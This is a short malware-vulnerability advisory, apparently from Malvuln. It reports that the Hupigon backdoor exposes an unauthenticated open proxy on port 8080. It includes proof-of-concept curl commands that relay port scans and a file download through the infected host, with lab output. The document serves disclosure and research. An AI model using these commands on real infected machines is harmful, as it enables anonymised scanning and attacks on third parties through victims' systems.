Backdoor.Win32.Hupigon.abe Unauthenticated Open Proxy

Backdoor.Win32.Hupigon.abe malware suffers from an unauthenticated open proxy vulnerability.


MD5 | 6e9882ff9bedab00ee8f5c31a7086e41

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5d7908e7e95d0eb4a7351d24605e62a6.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.abe
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 5d7908e7e95d0eb4a7351d24605e62a6
Vuln ID: MVID-2021-0322
Dropped files: cn.exe
Disclosure: 08/30/2021

Exploit/PoC:
Scan ports)

curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.
500 Unknown command.

curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:110"
+OK INetSim POP3 Server ready <[email protected]>
-ERR Unknown command.
-ERR Unknown command.

Download filez)

curl http://192.168.18.129:8080/DOOM.exe -H "Host: 192.168.18.128" --out DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24576 100 24576 0 0 24576 0 0:00:01 --:--:-- 0:00:01 255k


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